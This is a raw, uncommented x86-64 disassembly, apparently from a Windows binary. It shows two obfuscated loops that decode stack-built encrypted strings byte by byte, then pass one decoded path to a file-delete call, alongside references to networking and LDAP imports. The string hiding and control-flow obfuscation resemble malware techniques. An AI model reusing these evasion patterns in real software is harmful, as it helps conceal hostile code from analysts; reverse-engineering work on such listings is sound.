mov dword [rbp + 0x80], 0x171210d5
mov dword [rbp + 0x84], 0xf5e7ef1e
mov dword [rbp + 0x88], 0x1fe9ebe5
mov dword [rbp + 0x8c], 0xe7e016e1
mov dword [rbp + 0x90], 0xf026e3ed
mov word [rbp + 0x94], 0xf2e2
mov byte [rbp + 0x96], 0x68
xor eax, eax
mov qword [rbp + 0x97], rax
mov dword [rbp + 0x9f], eax
movabs r15, 0x46efdbf53b2a03cd
movabs r13, 0x62af4bca27d21301
movabs r12, 0xd4cf93dfb17e0b67
movzx edx, byte [rbp + 0x3c0]
mov r8, qword [0x1404e35f8]
mov r9, qword [0x1404e35f0]
nop
xor esi, esi
cmp rsi, 0x33
jae 0x140217d8f
movzx r10d, byte [rbp + rsi + 0x70]
mov r14d, r10d
cmp r8, rsi
ja 0x140217d86
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1402174a0
lea rcx, [rsi + r15]
mov rax, r14
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, r14
add rdx, rcx
add dl, 0x65
jmp 0x1402174d9
je 0x140217d1e
inc rax
cmp r8, rax
je 0x140217cd0
lea rax, [r9 + 3]
cmp r8, rax
je 0x140217c85
lea rax, [r9 + 2]
cmp r8, rax
je 0x140217c55
lea rax, [r9 + 5]
cmp r8, rax
je 0x140217c35
movzx r11d, sil
nop dword [rax]
mov rbx, r8
cmp r9, rsi
ja 0x140217d7d
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14021750c
lea ecx, [r11 - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x49
jmp 0x14021754c
lea rax, [r9 + 1]
cmp r8, rax
je 0x140217bf4
inc rax
cmp r8, rax
je 0x140217bcf
lea rax, [r9 + 3]
cmp r8, rax
je 0x140217bad
lea rax, [r9 + 5]
cmp r8, rax
je 0x140217b91
lea rax, [r9 + 6]
cmp r8, rax
je 0x140217b75
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x14021787a
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14021785f
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140217836
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140217814
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1402177fa
lea rax, [r9 + 8]
cmp r8, rax
je 0x1402177da
mov r8, rax
lea r9, [rax + 4]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140217d61
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140217d45
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14021766e
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140217654
lea rcx, [r9 + 0x41]
cmp r8, rcx
jb 0x14021775d
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140217719
mov r8, rcx
lea r9, [rcx + 0x1000]
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1402176ef
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1402176d1
lea rcx, [r9 + 0x42]
cmp r8, rcx
ja 0x1402176b5
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14021768c
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140217560
mov r8, rcx
lea r9, [rcx + 0x20]
jmp 0x140217560
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0xd
jmp 0x1402174e0
add r11b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
add dl, 0x43
add dl, r11b
jmp 0x140217475
sub r11b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rsi
inc rsi
jmp 0x140217462
lea edx, [r11 - 0x14]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x74
add dl, cl
jmp 0x140217ca6
add r11b, 0x52
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x3e
add dl, r11b
jmp 0x140217ce4
sub r11b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
movzx eax, byte [rbp + rsi + 0x70]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140217462
lea ecx, [r11 + 0x1d]
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
add dl, 0x35
add dl, cl
cmp r9, 0x80
jb 0x140217b0f
lea edx, [r11 - 0x52]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_33
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x140217c0b
lea ecx, [r11 - 0x17]
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x5f
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x140217b56
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140217973
lea edx, [r11 - 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x11
add dl, cl
cmp r8, 0xa
jae 0x140217b1b
lea rcx, [r9 + 6]
cmp r8, rcx
jbe 0x140217a40
lea edx, [r11 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14021772e
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140217c6d
lea edx, [r11 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x3c
jmp 0x140217b30
add r11b, 0x4a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 6
dec rsi
inc rsi
jmp 0x140217462
sub r11b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rsi
inc rsi
jmp 0x140217462
lea edx, [r11 + 0x16]
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r10b
jmp 0x140217c09
lea rax, [r9 + 5]
cmp rbx, rax
jae 0x14021789d
lea ecx, [r11 - 0x33]
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
add dl, 0x65
jmp 0x140217772
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1402178d0
sub r11b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6e
movzx eax, byte [rbp + rsi + 0x70]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140217462
inc rax
cmp rbx, rax
jne 0x1402178f8
add r11b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140217ce4
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14021791d
add r11b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
jmp 0x140217c6d
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14021794c
add r11b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x140217462
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140217774
lea edx, [r11 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1e
jmp 0x140217c09
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140217996
lea edx, [r11 + 0x73]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x25
jmp 0x140217c09
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1402179c1
sub r11b, 0x59
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x6f
dec rsi
inc rsi
jmp 0x140217462
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1402179e4
lea edx, [r11 + 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x39
jmp 0x140217b30
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140217a09
lea edx, [r11 + 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x69
add dl, cl
jmp 0x140217ca6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1402177a8
add r11b, 0x43
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x2b
movzx eax, byte [rbp + rsi + 0x70]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140217462
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140217a77
add r11b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rsi + 0x70]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140217462
inc rax
cmp r8, rax
jne 0x140217a9d
sub r11b, 0x22
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x12
add dl, r11b
jmp 0x140217ce4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140217ac2
add r11b, 0x12
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7e
jmp 0x140217c6d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140217aeb
sub r11b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140217c6a
cmp r8, rcx
jne 0x140217730
lea edx, [r11 + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
jmp 0x140217c09
mov byte [rbp + rsi + 0x70], dl
inc rsi
jmp 0x140217462
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 4
add cl, cl
add dl, cl
add r11b, 0x15
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, dl
sub cl, al
add cl, 0x6d
add cl, r10b
add cl, r11b
mov byte [rbp + rsi + 0x70], cl
jmp 0x140217c6a
lea edx, [r11 - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, r10b
sub dl, 0x2e
add dl, cl
jmp 0x140217ca6
lea edx, [r11 + 7]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x31
add dl, cl
jmp 0x140217ca6
sub r11b, 0x2d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x3b
jmp 0x140217c6a
sub r11b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x59
dec rsi
inc rsi
jmp 0x140217462
add r11b, 5
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x23
inc r9
dec rsi
inc rsi
jmp 0x140217462
lea edx, [r11 + 0x6b]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x13
add dl, cl
add r11b, 0x7b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x5d
add r10b, r11b
mov byte [rbp + rsi + 0x70], r10b
inc r9
dec rsi
inc rsi
jmp 0x140217462
lea ecx, [rsi + 3]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x15
dec rsi
inc rsi
jmp 0x140217462
lea ecx, [rsi - 0x31]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x57
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140217462
movabs rax, 0xf08f03b49e261a9b
add rax, rsi
and r14b, al
add r14b, r14b
sub al, r14b
lea edx, [r10 + rax]
sub dl, 0x3d
movzx r11d, sil
sub r11b, 0x51
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x37
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rsi + 0x70], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x140217ce4
lea rax, [rsi + r13]
and r14b, al
add r14b, r14b
sub al, r14b
lea edx, [r10 + rax]
sub dl, 7
lea ecx, [rsi + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x64
add cl, r10b
mov byte [rbp + rsi + 0x70], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0x70]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140217462
lea rax, [rsi + r12]
and r14b, al
add r14b, r14b
sub al, r14b
lea edx, [r10 + rax]
add dl, 0x2f
movzx eax, byte [rbp + rsi + 0x70]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140217462
sub r11b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x79
jmp 0x140217460
sub r11b, 0x19
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x51
jmp 0x140217450
lea rcx, [rbp + 0x17a8e2c]
jmp 0x140217d93
lea rcx, [rbp + 0x16491f9]
jmp 0x140217d93
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rbp + 0x30], 0x42446373
mov dword [rbp + 0x34], 0xae585351
mov dword [rbp + 0x38], 0x565cb4a7
mov dword [rbp + 0x3c], 0x40b0b0b9
mov dword [rbp + 0x40], 0x577a7c49
mov dword [rbp + 0x44], 0xb947bf4e
mov dword [rbp + 0x48], 0x2fc5c349
mov dword [rbp + 0x4c], 0xc3c1cec7
mov dword [rbp + 0x50], 0xce763631
mov word [rbp + 0x54], 0xc8c1
mov byte [rbp + 0x56], 0x5c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x57], xmm0
mov qword [rbp + 0x67], rax
mov byte [rbp + 0x6f], al
movabs rsi, 0xb8f2bfa2262f9aa7
movabs r14, 0x8088bcb357ac6fdf
movabs r12, 0xea33d6f0b4d3a91
movabs r15, 0x2ad83ee6728ecff5
movzx r8d, byte [rbp + 0x3c0]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x1404e35f8]
mov r9, qword [0x1404e35f0]
nop
xor ebx, ebx
cmp rbx, 0x40
jae 0x140218916
movzx r11d, byte [rbp + rbx + 0x30]
mov edi, r11d
cmp rax, rbx
ja 0x14021890d
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x140217e81
lea rdx, [rbx + rsi]
mov rcx, rdx
and rcx, rdi
imul r8, rcx, 0xfffffffffffffffe
add r8, rdx
add r8, rdi
add r8b, 0x6f
jmp 0x140217ec8
je 0x1402188a2
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140218827
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1402187f9
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1402187de
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x14021879b
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x14021877a
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x140218904
lea rcx, [r9 + 2]
cmp rax, rcx
jae 0x140217efa
lea edx, [r10 - 0x4d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x1b
jmp 0x140217f30
lea rdx, [r9 + 1]
cmp rax, rdx
je 0x140218736
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140218713
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1402186f6
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1402186d7
nop
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1402183f9
nop dword [rax]
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1402183de
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1402183b8
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x140218391
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x140218372
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14021834e
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x140218333
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x140218308
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x140217f40
lea rax, [r9 + 0xa]
lea r9, [rax + 3]
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x1402188e7
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x1402188ca
lea rcx, [r9 + 5]
cmp rax, rcx
jb 0x1402180ec
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x1402180d1
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x1402180b6
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1402182bc
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x140218274
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x140218235
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x140218210
lea rax, [r9 + 4]
lea r9, [rax + 0x41]
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x1402181e5
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x1402181c8
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x1402181ad
lea rcx, [r9 + 0x40]
cmp rax, rcx
ja 0x140218190
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x140218171
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x14021814a
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x140218124
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x140218109
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x140217f40
lea rax, [r9 + 0x5a]
lea r9, [rax + 0x3e8]
jmp 0x140217f40
lea edx, [r10 - 0x53]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x45
jmp 0x140217f30
lea edx, [r10 + 0x5f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x67
jmp 0x140217ed0
add r10b, 0x11
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x77
jmp 0x140217e55
lea edx, [r10 - 0x68]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x28
jmp 0x140218750
add r10b, 0x4a
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 6
inc r9
dec rbx
inc rbx
jmp 0x140217e42
sub r10b, 4
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_ntohl
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x140217e42
lea r8d, [r10 - 0x52]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_33
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1402187b9
add r10b, 0x12
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x7e
jmp 0x14021880e
lea edx, [r10 - 0x3c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x5c
jmp 0x140218840
add r10b, 0x76
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x3a
jmp 0x140218868
add r10b, 0x28
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x18
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140217e42
sub r10b, 0x1b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x43
mov byte [rbp + rbx + 0x30], r8b
inc rbx
jmp 0x140217e42
lea edx, [r10 - 0x69]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x21
cmp r9, 0xa
jb 0x140218228
lea r8d, [r10 - 0x76]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_33
sub dl, cl
add dl, dl
add dl, r11b
add dl, r8b
lea r8d, [rdx + rdx]
jmp 0x140218750
lea edx, [r10 + 0x49]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
inc r8b
cmp rax, 0x42
jae 0x14021869a
lea rcx, [r9 + 9]
cmp rax, rcx
jbe 0x1402185a0
lea r8d, [r10 + 0x7e]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x72
add r8b, dl
jmp 0x14021824b
lea edx, [r10 - 5]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x23
lea rcx, [r9 + rax]
cmp rcx, 0x400
je 0x1402186b5
lea rcx, [r9 + 0x40]
cmp rax, rcx
jbe 0x1402184d1
lea edx, [r10 - 0x35]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x73
jmp 0x140218289
add r10b, 0x32
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x5e
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140217e42
lea edx, [r10 - 0x6a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x1a
jmp 0x140218840
sub r10b, 6
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
add rax, r9
jmp 0x14021880e
lea r8d, [r10 - 0x54]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1402187b9
add r10b, 0x5e
movzx ecx, r10b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x140217e42
add r10b, 0x10
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x140217e42
lea edx, [r10 - 0x3e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x4e
jmp 0x140218750
lea rdx, [r9 + 3]
cmp rax, rdx
jae 0x14021841d
lea edx, [r10 - 0x59]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x6f
jmp 0x1402182d2
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140218455
add r10b, 0x66
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140217e42
inc rcx
cmp rax, rcx
jne 0x14021847d
sub r10b, 0x62
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x52
add rax, r9
jmp 0x14021880e
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1402184a1
lea edx, [r10 - 0x14]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x74
jmp 0x1402187b9
cmp rax, rdx
jne 0x1402182d2
add r10b, 0x3a
movzx ecx, r10b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x140217e42
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1402184f5
lea edx, [r10 + 0x19]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x51
jmp 0x140218750
inc rcx
cmp rax, rcx
jne 0x140218523
add r10b, 0x67
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
add r8b, 0x2f
inc r9
dec rbx
inc rbx
jmp 0x140217e42
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140218540
lea r8d, [r10 + 3]
movzx ecx, r11b
and cl, r8b
sub r8b, 0x15
jmp 0x1402187ae
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x140218568
lea r8d, [r10 - 0x13]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x7b
add r8b, dl
jmp 0x140218840
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x140218289
sub r10b, 0x77
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
add r8b, 0x41
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140217e42
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1402185d8
sub r10b, 0x34
movzx ecx, r11b
and cl, r10b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140217e42
inc rcx
cmp rax, rcx
jne 0x1402185ff
lea r8d, [r10 + 0x68]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140218840
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140218628
add r10b, 4
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x1c
add rax, r9
jmp 0x14021880e
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140218645
lea r8d, [r10 + 0x52]
movzx ecx, r11b
and cl, r8b
sub r8b, 0x3e
jmp 0x1402187ae
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140218671
sub r10b, 0x60
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x60
dec rbx
inc rbx
jmp 0x140217e42
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14021824b
lea r8d, [r10 + 0x3c]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x14021874d
lea r8d, [r10 - 0x28]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
sub dl, cl
add dl, 0xc
add dl, dl
jmp 0x1402187b6
lea r8d, [r10 + 0x26]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub dl, r11b
sub r8b, 0xa
add r8b, dl
jmp 0x140218840
lea r8d, [r10 - 0x2b]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
add r8b, 0x2d
add r8b, dl
jmp 0x140218840
sub r10b, 0x79
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
add r8b, 0x4f
jmp 0x14021880e
sub r10b, 0x63
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x4b
dec rbx
inc rbx
jmp 0x140217e42
lea r8d, [r10 + 1]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 7
add r8b, dl
add r10b, 0x31
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x57
add r11b, r10b
mov byte [rbp + rbx + 0x30], r11b
inc r9
dec rbx
inc rbx
jmp 0x140217e42
lea edx, [rbx - 0x37]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x7f
dec rbx
inc rbx
jmp 0x140217e42
movzx r10d, bl
lea r8d, [r10 + 0x7b]
movzx ecx, r11b
and cl, r8b
sub r8b, 0x5d
add cl, cl
movzx edx, r11b
sub dl, cl
add r8b, dl
add r10b, 0x7f
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edx, r8b
sub dl, cl
sub dl, 0x79
add dl, r11b
add dl, r10b
mov byte [rbp + rbx + 0x30], dl
add rax, r9
jmp 0x14021880e
lea edx, [rbx + 0x2d]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x3b
